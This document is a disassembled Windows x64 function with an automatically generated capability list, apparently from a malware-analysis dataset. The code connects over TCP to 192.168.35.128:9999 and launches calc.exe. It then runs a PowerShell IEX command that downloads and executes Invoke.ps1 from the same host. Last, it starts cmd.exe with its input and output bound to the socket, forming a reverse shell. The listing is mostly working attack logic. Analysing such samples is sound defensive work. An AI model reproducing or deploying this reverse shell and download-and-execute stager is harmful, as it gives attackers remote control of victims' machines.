Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x2e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
mov ecx, 0x202
lea rdx, [0x140005700]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, str.192.168.35.128
mov qword [0x140005898], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, str.192.168.35.128
mov r8, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.9999
mov word [0x1400058a0], bx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.35.128
mov word [0x1400058a2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140005898]
lea rdx, [0x1400058a0]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov dword [0x1400058a4], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140005898]
lea rcx, [rsp + 0xe0]
xorps xmm0, xmm0
mov qword [0x1400056e0], rax
movups xmmword [0x1400056d0], xmm0
xor edx, edx
mov r8d, 0x1ee
movups xmmword [0x140005680], xmm0
mov dword [0x140005680], 0x68
movups xmmword [0x1400056b0], xmm0
mov dword [0x1400056bc], 0x101
movups xmmword [0x140005690], xmm0
mov qword [0x1400056d8], rax
movups xmmword [0x1400056a0], xmm0
mov qword [0x1400056d0], rax
movups xmmword [0x1400056c0], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0xd0], xmm0
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, str.calc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
movzx eax, word [0x140003340]
movaps xmm0, xmmword [str.powershell_IEX__New_Object_Net.WebClient_.DownloadString_https:__192.168.35.128:8088_Invoke.ps1_]
movaps xmm1, xmmword [0x1400032f0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x140003300]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x140003320]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x140003310]
mov word [rsp + 0xb0], ax
movzx eax, byte [0x140003342]
movaps xmmword [rsp + 0x90], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x80], xmm1
movaps xmm1, xmmword [0x140003330]
mov byte [rsp + 0xb2], al
xor eax, eax
movups xmmword [rsp + 0xb3], xmm0
movaps xmmword [rsp + 0xa0], xmm1
xor edx, edx
mov qword [rsp + 0xc3], rax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0xcb], eax
mov byte [rsp + 0xcf], al
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rax, [0x1400056e8]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xd0]
lea rax, [0x140005680]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]